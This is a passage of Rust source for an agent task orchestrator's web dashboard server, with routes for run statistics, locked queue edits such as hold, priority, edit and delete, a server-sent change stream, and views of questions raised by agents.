7265/// data" from "computed and it really is zero" the way [`RateView`] does.
7266#[derive(Debug, Serialize)]
7267struct StatsView {
7268    totals: StatsTotalsView,
7269    /// Best win rate first, as [`stats::collect`] already sorts it.
7270    agents: Vec<AgentStatsView>,
7271    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7272    reviewers: Vec<ReviewerStatsView>,
7273    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7274    advisors: Vec<AdvisorStatsView>,
7275    e2e: E2eStatsView,
7276    release_bumps: ReleaseBumpStatsView,
7277    queue: Option<TaskCountsView>,
7278    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7279    /// that field's doc. Asserted to match it in
7280    /// `stats_runs_unreadable_matches_health`.
7281    ///
7282    /// Always the whole-workload count, even when `repo` narrows every other
7283    /// field to one repository - an unreadable `run.json` carries no `repo`
7284    /// a per-repository count could attribute it to, and the queue/health
7285    /// views this mirrors never scope it either. The UI must not present it
7286    /// as if it were scoped to the selected repository.
7287    runs_unreadable: usize,
7288    /// Every repository with runs recorded, most runs first - what the UI's
7289    /// repository selector is built from. Always the full list regardless of
7290    /// `repo`, so switching repositories never needs a second request.
7291    repos: Vec<RepoSummaryView>,
7292    /// Runs per local day over the last 30 days, oldest first, always 30
7293    /// entries. Days are the *server's* local dates (the UI must not convert
7294    /// them again), cut by run creation and classified by current status.
7295    /// Narrowed by `repo` like every other run-derived field.
7296    daily: Vec<DailyStatsView>,
7297    /// The `?repo=` value this response was narrowed to, echoed back so the
7298    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7299    /// all-repositories view.
7300    repo: Option<String>,
7301    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7302    /// current config roster no longer lists them. Empty with `?all=true`, an
7303    /// unreadable config, or when nothing was retired.
7304    retired_hidden: Vec<String>,
7305}
7306
7307/// One day of [`StatsView::daily`].
7308#[derive(Debug, Serialize)]
7309struct DailyStatsView {
7310    /// `YYYY-MM-DD`, server-local.
7311    date: String,
7312    runs: usize,
7313    merged: usize,
7314    ready: usize,
7315    other: usize,
7316    /// `None` on a day with no runs, so it never reads as 0%.
7317    completion_rate: Option<RateView>,
7318}
7319
7320impl From<&stats::DayBucket> for DailyStatsView {
7321    fn from(b: &stats::DayBucket) -> Self {
7322        Self {
7323            date: b.date.to_string(),
7324            runs: b.runs,
7325            merged: b.merged,
7326            ready: b.ready,
7327            other: b.other,
7328            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7329        }
7330    }
7331}
7332
7333/// How many days [`StatsView::daily`] covers.
7334const STATS_DAILY_DAYS: usize = 30;
7335
7336/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7337/// repository. Matched by full-path equality against `RunState.repo` only
7338/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7339/// `--repo` is, because the value here always came from this same route's
7340/// own `repos` list in an earlier response, never typed by a human. A value
7341/// matching no run is a 404, not an empty aggregate: the caller asked for a
7342/// specific, named repository, and silently returning zeroes would look
7343/// exactly like a repository that has runs but none of interest.
7344#[derive(Debug, Default, Deserialize)]
7345#[serde(default)]
7346struct StatsQuery {
7347    repo: Option<String>,
7348    /// `?all=true` keeps agents that are no longer in the roster.
7349    all: bool,
7350    /// The dashboard fetches queue counts independently of run history.
7351    runs_only: bool,
7352}
7353
7354/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7355/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7356/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7357/// prints from. Reads every readable run on disk, exactly as
7358/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7359/// a separately-maintained tally could.
7360async fn stats_get(
7361    State(ui): State<Arc<Ui>>,
7362    Query(q): Query<StatsQuery>,
7363) -> ApiResult<Json<StatsView>> {
7364    blocking(move || {
7365        let states: Vec<RunState> = run_ids(&ui.runs)
7366            .into_iter()
7367            .filter_map(|id| read_run(&ui.runs, &id).ok())
7368            .collect();
7369        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7370            .iter()
7371            .map(RepoSummaryView::from)
7372            .collect();
7373        let mut scoped: Vec<&RunState> = states.iter().collect();
7374        let mut collected = match &q.repo {
7375            Some(repo) => {
7376                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7377                if filtered.is_empty() {
7378                    return Err(ApiError::not_found(format!(
7379                        "no runs recorded against repo `{repo}`"
7380                    )));
7381                }
7382                scoped = filtered.clone();
7383                stats::collect_refs(filtered)
7384            }
7385            None => stats::collect(&states),
7386        };
7387        if !q.all {
7388            let repo = q
7389                .repo
7390                .as_deref()
7391                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7392            stats::retain_current_roster(&mut collected, &repo);
7393        }
7394        let daily = stats::daily(
7395            scoped,
7396            jiff::Zoned::now().date(),
7397            &jiff::tz::TimeZone::system(),
7398            STATS_DAILY_DAYS,
7399        );
7400        let queue_counts = (!q.runs_only)
7401            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7402        Ok(Json(StatsView {
7403            totals: StatsTotalsView::from(&collected.totals),
7404            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7405            reviewers: collected
7406                .reviewers
7407                .iter()
7408                .map(ReviewerStatsView::from)
7409                .collect(),
7410            advisors: collected
7411                .advisors
7412                .iter()
7413                .map(AdvisorStatsView::from)
7414                .collect(),
7415            e2e: E2eStatsView::from(&collected.e2e),
7416            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7417            queue: queue_counts,
7418            runs_unreadable: runs_unreadable(&ui.runs),
7419            repos,
7420            daily: daily.iter().map(DailyStatsView::from).collect(),
7421            repo: q.repo.clone(),
7422            retired_hidden: collected.retired_hidden.clone(),
7423        }))
7424    })
7425    .await
7426}
7427
7428/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7429/// gives no reason - which must keep working, since not every hold has one.
7430#[derive(Debug, Default, Deserialize)]
7431#[serde(default, deny_unknown_fields)]
7432struct HoldBody {
7433    reason: Option<String>,
7434}
7435
7436async fn queue_hold(
7437    State(ui): State<Arc<Ui>>,
7438    Path(id): Path<String>,
7439    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7440) -> ApiResult<Json<TaskView>> {
7441    // An absent body is the ordinary case - most holds are unexplained, and
7442    // that has to stay a one-tap action rather than a form. A body that is
7443    // present and malformed is still a bad request.
7444    let body = match body {
7445        Ok(Json(body)) => body,
7446        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7447        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7448    };
7449    let reason = body.reason.filter(|r| !r.trim().is_empty());
7450    mutate(ui, id, move |t| {
7451        t.hold_manual(reason.clone());
7452        Ok(())
7453    })
7454    .await
7455}
7456
7457#[derive(Deserialize)]
7458#[serde(deny_unknown_fields)]
7459struct ReassignBody {
7460    repo: PathBuf,
7461}
7462
7463async fn queue_reassign(
7464    State(ui): State<Arc<Ui>>,
7465    Path(id): Path<String>,
7466    Json(body): Json<ReassignBody>,
7467) -> ApiResult<Json<TaskView>> {
7468    let home = ui.home.clone();
7469    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7470        .await
7471        .map_err(ApiError::bad_request_from)?;
7472    let notes = crate::task_reassign::advisory_notes(&task, &home);
7473    let mut view = TaskView::from(task);
7474    view.reassignment_notes = notes;
7475    Ok(Json(view))
7476}
7477
7478async fn queue_release(
7479    State(ui): State<Arc<Ui>>,
7480    Path(id): Path<String>,
7481) -> ApiResult<Json<TaskView>> {
7482    mutate(ui, id, |t| {
7483        t.release_operator("web", None);
7484        Ok(())
7485    })
7486    .await
7487}
7488
7489#[derive(Debug, Deserialize)]
7490#[serde(deny_unknown_fields)]
7491struct AttemptLimitBody {
7492    // Required even when clearing: missing fields must not silently erase an override.
7493    attempt_limit: serde_json::Value,
7494}
7495
7496async fn queue_attempt_limit(
7497    State(ui): State<Arc<Ui>>,
7498    Path(id): Path<String>,
7499    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7500) -> ApiResult<Json<TaskView>> {
7501    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7502    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7503        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7504    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7505}
7506
7507#[derive(Debug, Deserialize)]
7508#[serde(deny_unknown_fields)]
7509struct ImplementersBody {
7510    implementers: u8,
7511}
7512
7513async fn queue_implementers(
7514    State(ui): State<Arc<Ui>>,
7515    Path(id): Path<String>,
7516    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7517) -> ApiResult<Json<TaskView>> {
7518    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7519    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7520}
7521
7522#[derive(Debug, Deserialize)]
7523#[serde(deny_unknown_fields)]
7524struct UrgentBody {
7525    urgent: bool,
7526}
7527
7528async fn queue_urgent(
7529    State(ui): State<Arc<Ui>>,
7530    Path(id): Path<String>,
7531    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7532) -> ApiResult<Json<TaskView>> {
7533    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7534    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7535}
7536
7537/// The body of `POST /api/queue/{id}/priority`.
7538#[derive(Debug, Deserialize)]
7539#[serde(deny_unknown_fields)]
7540struct PriorityBody {
7541    priority: i32,
7542}
7543
7544/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7545///
7546/// [`Task::set_priority`] is the one place the "not while running" rule is
7547/// stated; this route only carries the body to it and lets its `Err` become
7548/// the 4xx the card shows.
7549async fn queue_priority(
7550    State(ui): State<Arc<Ui>>,
7551    Path(id): Path<String>,
7552    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7553) -> ApiResult<Json<TaskView>> {
7554    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7555    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7556}
7557
7558/// The body of `POST /api/queue/{id}/edit`.
7559#[derive(Debug, Deserialize)]
7560#[serde(deny_unknown_fields)]
7561struct EditBody {
7562    title: String,
7563    instruction: String,
7564    /// Save even though the new text names a branch, commit or pull request
7565    /// that unfinished work already owns.
7566    #[serde(default)]
7567    force: bool,
7568}
7569
7570/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7571/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7572/// that refusal's message is what the sheet shows back.
7573async fn queue_edit(
7574    State(ui): State<Arc<Ui>>,
7575    Path(id): Path<String>,
7576    body: std::result::Result<Json<EditBody>, JsonRejection>,
7577) -> ApiResult<Json<TaskView>> {
7578    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7579    // The judge is an agent call, so it is awaited here, outside the claim
7580    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7581    // remembered, and the save refuses if the task moved underneath it.
7582    let mut judged: Option<(String, PathBuf)> = None;
7583    if !body.force {
7584        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7585        let (id, text) = (id.clone(), body.instruction.clone());
7586        let (seen, hits) = blocking(move || {
7587            let id = resolve_task(&queue, &id)?;
7588            let t = queue.get(&id)?;
7589            if text == t.instruction {
7590                return Ok((None, Vec::new()));
7591            }
7592            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7593            Ok((Some((t.instruction, t.repo)), hits))
7594        })
7595        .await?;
7596        if let Some((_, repo)) = &seen {
7597            let cfg = crate::config::Config::discover(repo, None)
7598                .ok()
7599                .map(|(c, _)| c);
7600            let screened =
7601                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7602                    .await
7603                    .map_err(|dup| {
7604                        ApiError::conflict(dup.render(
7605                            "Nothing was saved. If it is not a duplicate, repeat the request \
7606                             with \"force\": true.",
7607                        ))
7608                    })?;
7609            if let crate::dupes::Screened::Unjudged(why) = screened {
7610                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7611            }
7612        }
7613        judged = seen;
7614    }
7615    let force = body.force;
7616    mutate(ui, id, move |t| {
7617        if !force && body.instruction != t.instruction {
7618            match &judged {
7619                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7620                _ => {
7621                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7622                }
7623            }
7624        }
7625        t.edit(body.title.clone(), body.instruction.clone())
7626    })
7627    .await
7628}
7629
7630#[derive(Debug, Default, Deserialize)]
7631#[serde(default, deny_unknown_fields)]
7632struct CompleteBody {
7633    reason: Option<String>,
7634    discard: bool,
7635}
7636
7637/// Close through the same audited merge/discard guard as the CLI.
7638async fn queue_done(
7639    State(ui): State<Arc<Ui>>,
7640    Path(id): Path<String>,
7641    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7642) -> ApiResult<Json<TaskView>> {
7643    let body = match body {
7644        Ok(Json(body)) => body,
7645        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7646        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7647    };
7648    let state = Arc::clone(&ui);
7649    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7650    let task = crate::task_completion::close_claimed(
7651        &ui.queue,
7652        &ui.home,
7653        claimed,
7654        crate::queue::CompletionActor::Web,
7655        body.reason,
7656        body.discard,
7657    )
7658    .await
7659    .map_err(ApiError::completion)?;
7660    Ok(Json(TaskView::from(task)))
7661}
7662
7663#[derive(Debug, Deserialize)]
7664#[serde(deny_unknown_fields)]
7665struct ReopenBody {
7666    reason: String,
7667}
7668
7669/// Restore a safely unlanded completion to Held, never straight to execution.
7670async fn queue_reopen(
7671    State(ui): State<Arc<Ui>>,
7672    Path(id): Path<String>,
7673    Json(body): Json<ReopenBody>,
7674) -> ApiResult<Json<TaskView>> {
7675    let state = Arc::clone(&ui);
7676    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7677    let task = crate::task_completion::reopen_claimed(
7678        &ui.queue,
7679        &ui.home,
7680        claimed,
7681        crate::queue::CompletionActor::Web,
7682        &body.reason,
7683    )
7684    .await
7685    .map_err(ApiError::completion)?;
7686    Ok(Json(TaskView::from(task)))
7687}
7688
7689/// `DELETE /api/queue/{id}`.
7690///
7691/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7692/// names this task: a `running` status or an orphaned `.lock` left behind by a
7693/// killed daemon is a leftover, and treating either as authority made the
7694/// task undeletable from the phone for good. The associated runs, if any, are
7695/// kept: a run is self-contained history and not an appendage of the task.
7696async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7697    blocking(move || {
7698        let id = resolve_task(&ui.queue, &id)?;
7699        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7700        ui.queue
7701            .remove(&id, in_flight, &ui.questions)
7702            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7703        Ok(StatusCode::NO_CONTENT)
7704    })
7705    .await
7706}
7707
7708/// Resolve the operator's reference, then reload under the same claim a daemon takes.
7709fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
7710    let id = resolve_task(queue, reference)?;
7711    let claim = queue.claim(&id).map_err(|e| {
7712        ApiError::conflict(format!(
7713            "{e:#} - a daemon is running this task, so it cannot be \
7714             changed from here yet; wait until it is released, then retry"
7715        ))
7716    })?;
7717    Ok((claim, queue.get(&id)?))
7718}
7719
7720/// Read a task, change it, write it back, under the queue's own lock.
7721///
7722/// Taking the same claim a daemon takes is what makes hold, release,
7723/// priority, edit, and done safe to press while magi is running: without it
7724/// the daemon's next save would land on top of the operator's change and
7725/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7726/// both do, for a running task - and that refusal becomes the 4xx the card
7727/// shows, same as any other domain rule.
7728async fn mutate(
7729    ui: Arc<Ui>,
7730    id: String,
7731    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7732) -> ApiResult<Json<TaskView>> {
7733    blocking(move || {
7734        let (_claim, mut task) = claim_task(&ui.queue, &id)?;
7735        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7736            Ok(dup) => ApiError::conflict(dup.render(
7737                "Nothing was saved. If it is not a duplicate, repeat the request with \
7738                 \"force\": true.",
7739            )),
7740            Err(e) => ApiError::bad_request_from(e),
7741        })?;
7742        ui.queue.put(&mut task)?;
7743        Ok(Json(TaskView::from(task)))
7744    })
7745    .await
7746}
7747
7748/// The change stream: one revision number per store, on connect and whenever
7749/// any of them moves.
7750///
7751/// One shared worker scans stores; clients only forward its notifications.
7752async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7753    ui.monitor.ensure_worker(&ui);
7754    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7755    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7756
7757    let state = Arc::clone(&ui);
7758    tokio::spawn(async move {
7759        let initial_revisions = {
7760            let guard = match state.monitor.latest.lock() {
7761                Ok(g) => g,
7762                Err(p) => p.into_inner(),
7763            };
7764            guard.as_ref().map(|(r, _)| *r)
7765        };
7766        if let Some(revisions) = initial_revisions {
7767            let initial_payload = serde_json::json!({
7768                "queue_rev": revisions.0,
7769                "runs_rev": revisions.1,
7770                "questions_rev": revisions.2,
7771                "talks_rev": revisions.3,
7772                "notifications_rev": revisions.4,
7773                "loop_rev": revisions.5,
7774            });
7775
7776            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7777                if tx.send(event).await.is_err() {
7778                    return;
7779                }
7780            }
7781        }
7782
7783        loop {
7784            match tokio::select! {
7785                _ = tx.closed() => return,
7786                value = broadcast_rx.recv() => value,
7787            } {
7788                Ok(notif) => {
7789                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7790                    else {
7791                        break;
7792                    };
7793                    if tx.send(event).await.is_err() {
7794                        break;
7795                    }
7796                }
7797                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7798                    let revs = {
7799                        let guard = match state.monitor.latest.lock() {
7800                            Ok(g) => g,
7801                            Err(p) => p.into_inner(),
7802                        };
7803                        guard.as_ref().map(|(r, _)| *r)
7804                    };
7805                    if let Some(revs) = revs {
7806                        let payload = serde_json::json!({
7807                            "queue_rev": revs.0,
7808                            "runs_rev": revs.1,
7809                            "questions_rev": revs.2,
7810                            "talks_rev": revs.3,
7811                            "notifications_rev": revs.4,
7812                            "loop_rev": revs.5,
7813                        });
7814                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7815                            if tx.send(event).await.is_err() {
7816                                break;
7817                            }
7818                        }
7819                    }
7820                }
7821                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7822                    break;
7823                }
7824            }
7825        }
7826    });
7827
7828    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7829        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7830}
7831
7832/// Run ids under `runs`, newest first.
7833///
7834/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7835/// which reads the process-global home: the server has to be drivable against
7836/// a temp directory for any of this to be testable.
7837fn run_ids(runs: &FsPath) -> Vec<String> {
7838    let mut ids: Vec<String> = std::fs::read_dir(runs)
7839        .into_iter()
7840        .flatten()
7841        .flatten()
7842        .filter(|e| e.path().join("run.json").is_file())
7843        .map(|e| e.file_name().to_string_lossy().into_owned())
7844        .collect();
7845    // Ids start with a sortable timestamp.
7846    ids.sort_unstable_by(|a, b| b.cmp(a));
7847    ids
7848}
7849
7850/// Read one run's state from an explicit runs root.
7851fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7852    let path = runs.join(id).join("run.json");
7853    let body =
7854        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7855    let state: RunState =
7856        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7857    // The same migration `RunState::load` applies, so a record from the
7858    // previous schema reads here as it does everywhere else (an origin-less
7859    // run shows as "origin unknown") instead of vanishing from the phone the
7860    // moment the schema is bumped.
7861    run::migrate_schema(state)
7862}
7863
7864/// Runs on disk under `runs` whose state this build cannot parse - almost
7865/// always a schema bump, occasionally a run killed mid-write.
7866///
7867/// Exposed so every surface that reports on runs shares one count instead of
7868/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7869/// `magi doctor` calls this directly rather than guessing at the same number
7870/// a second way.
7871#[must_use]
7872pub fn runs_unreadable(runs: &FsPath) -> usize {
7873    run_ids(runs)
7874        .into_iter()
7875        .filter(|id| read_run(runs, id).is_err())
7876        .count()
7877}
7878
7879fn plain_record_id(id: &str) -> bool {
7880    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7881}
7882
7883/// Expand an id or short id to exactly one run id.
7884fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7885    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7886        return Ok(id.to_owned());
7887    }
7888    pick(run_ids(runs), id, "run")
7889}
7890
7891/// Expand an id or short id to exactly one task id.
7892fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7893    if plain_record_id(id) && queue.path_of(id).is_file() {
7894        return Ok(id.to_owned());
7895    }
7896    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7897    pick(ids, id, "task")
7898}
7899
7900/// A question as the phone reads it.
7901///
7902/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7903/// text already parsed into a node tree so the client never runs its own
7904/// markdown reader over agent-authored prose. A relative image path in it
7905/// resolves against this question's own panel asset route, which is the one
7906/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7907/// separate, sandboxed document, but `detail` is rendered inline in the
7908/// operator's own page, so an image reference in it may only ever point at
7909/// files magi itself already serves for this question.
7910#[derive(Debug, Serialize)]
7911struct QuestionView {
7912    can_answer: bool,
7913    /// Imported consent remains history even while its effect is uncertain.
7914    history_only: bool,
7915    choice_effects: std::collections::BTreeMap<String, String>,
7916    record_revision: String,
7917    #[serde(flatten)]
7918    question: Question,
7919    detail_md: Vec<md::Node>,
7920    posting_view: Option<PostingView>,
7921    /// Each thread turn's body, parsed; same order as `question.thread`.
7922    thread_bodies_md: Vec<Vec<md::Node>>,
7923    /// Each thread turn's deputy note, parsed (`None` for a turn without
7924    /// one); same order as `question.thread`.
7925    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7926    /// Is the ball in the agent's court right now?
7927    ///
7928    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7929    /// [`Question::say`] - so this is the one field that tells the phone to
7930    /// disable the answer controls and show "waiting for the agent" instead of
7931    /// a card the owner can act on. Computed rather than stored on
7932    /// [`Question`] itself, on the same reasoning as `waiting` on
7933    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7934    /// it here means the client never has to re-derive that rule.
7935    waiting_on_agent: bool,
7936    /// Who is waiting on this open question - see [`holder_of`]. Separate
7937    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7938    /// anyone is there to take it.
7939    holder: Option<&'static str>,
7940    /// Whether `magi serve` can start a follow-up agent for a conductor
7941    /// question at all: false when `daemon.max_deputies = 0` or the config is
7942    /// unreadable. Separate from `holder`, which says who is listening now.
7943    deputies_enabled: bool,
7944    /// All starts were spent and no live holder remains. Display-only: the
7945    /// final attempt increments `starts` before running under its lease.
7946    deputy_exhausted: bool,
7947    text_delivery: crate::question_delivery::Availability,
7948    /// `question.run` is a task id (conductor / triage questions), not a run
7949    /// id, so the UI links it to the task page.
7950    run_is_task: bool,
7951    /// The existing chat this question's task came from, including settled
7952    /// questions - see [`crate::consult::associated_talk`].
7953    origin_chat: Option<String>,
7954    /// `origin_chat` is closed; consulting reopens it first.
7955    origin_chat_closed: bool,
7956    /// Consultation eligibility is separate from navigation to the chat.
7957    can_consult_chat: bool,
7958}
7959
7960#[derive(Debug, Serialize)]
7961struct PostingView {
7962    before_md: Vec<md::Node>,
7963    after_md: Vec<md::Node>,
7964    fields: Vec<crate::github_text::ComparisonView>,
7965}
7966
7967fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7968    let comparison = question.posting_comparison.as_ref()?;
7969    if !comparison.matches_detail(&question.detail) {
7970        return None;
7971    }
7972    let mut ids = std::collections::BTreeSet::new();
7973    if comparison.fields.is_empty()
7974        || comparison
7975            .fields
7976            .iter()
7977            .flat_map(|f| &f.pairs)
7978            .any(|p| !ids.insert(p.id))
7979        || comparison
7980            .fields
7981            .iter()
7982            .flat_map(|f| &f.original_triggers)
7983            .any(|t| !ids.insert(t.id))
7984    {
7985        return None;
7986    }
7987    let fields = comparison
7988        .fields
7989        .iter()
7990        .map(|f| f.view(comparison.excerpt))
7991        .collect::<Option<Vec<_>>>()?;
7992    Some(PostingView {
7993        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7994        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7995        fields,
7996    })
7997}
7998
7999impl QuestionView {
8000    /// The view of `question`, reading who is waiting on it from `store`.
8001    ///
8002    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8003    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8004        let base = md::ImageBase::QuestionPanel {
8005            id: question.id.clone(),
8006        };
8007        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8008        Self {
8009            can_answer: question.can_answer(),
8010            history_only: store.held_reply(&question.id),
8011            choice_effects: question
8012                .choices
8013                .iter()
8014                .filter_map(|c| {
8015                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8016                })
8017                .collect(),
8018            record_revision: question_record_revision(&question),
8019            detail_md: md::to_nodes(&question.detail, &base),
8020            posting_view: posting_view(&question, &base),
8021            thread_bodies_md: question
8022                .thread
8023                .iter()
8024                .map(|t| md::to_nodes(&t.body, &base))
8025                .collect(),
8026            thread_notes_md: question
8027                .thread
8028                .iter()
8029                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8030                .collect(),
8031            deputy_exhausted: store.deputy_exhausted(&question),
8032            waiting_on_agent: question.waiting_on_agent(),
8033            holder,
8034            deputies_enabled: deputies_enabled(cfg, &question),
8035            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8036            run_is_task: question.run_names_task(),
8037            origin_chat: None,
8038            origin_chat_closed: false,
8039            can_consult_chat: false,
8040            question,
8041        }
8042    }
8043
8044    /// Fill `origin_chat` from the queue and the talks.
8045    fn with_origin(
8046        mut self,
8047        tasks: &[crate::queue::Task],
8048        talks: &[Talk],
8049        watches: &[crate::release_watch::WatchState],
8050    ) -> Self {
8051        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8052        self.can_consult_chat = consult.is_some();
8053        let talk =
8054            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8055        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8056        self.origin_chat = talk.map(|t| t.id);
8057        self
8058    }
8059}
8060
8061/// The config this repository resolves, or `None` when it cannot be read.
8062/// Discovering is git processes plus a config render, so a request that needs
8063/// it for many items takes it once and passes it down.
8064fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8065    Config::discover(repo, None).ok().map(|(c, _)| c)
8066}
8067
8068/// Can `magi serve` start a deputy for this question under `cfg`?
8069fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8070    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8071}
8072
8073/// The views `GET /api/questions` answers. `load` runs at most once, however
8074/// many questions there are, and not at all when there are none.
8075fn question_views(
8076    qs: Vec<Question>,
8077    store: &ask::Questions,
8078    load: impl FnOnce() -> Option<Config>,
8079) -> Vec<QuestionView> {
8080    if qs.is_empty() {
8081        return Vec::new();
8082    }
8083    let cfg = load();
8084    qs.into_iter()
8085        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8086        .collect()
8087}
8088
8089/// Who is honestly waiting on an open question right now: `"asker"` (the
8090/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8091/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8092/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8093/// up, or the question never had anyone listening (a conductor question or a
8094/// merge approval from before deputies, or not yet given one).
8095///
8096/// `None` for a question that is settled, and for one that is not an agent's
8097/// to wait on at all (a release notice).
8098fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8099    if !q.status.open() {
8100        return None;
8101    }
8102    if q.cwd.is_none()
8103        && q.deputy.is_none()
8104        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8105    {
8106        return crate::deputy::kind_of(q).map(|_| "nobody");
8107    }
8108    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8109        Some(_) if q.deputy.is_some() => "deputy",
8110        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8111        Some(_) => "asker",
8112        None => "nobody",
8113    })
8114}
8115
8116/// `GET /api/questions`.
8117///
8118/// Everything, not just the open ones: an answered question is the record of a
8119/// decision, and the phone is where the operator goes back to check what they
8120/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8121#[derive(serde::Serialize)]
8122struct DecisionView {
8123    id: String,
8124    task: String,
8125    run: Option<String>,
8126    chat: Option<String>,
8127    display: String,
8128    delivery_error: Option<String>,
8129    decision: crate::task_decision::Decision,
8130}
8131
8132impl DecisionView {
8133    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8134        Some(Self {
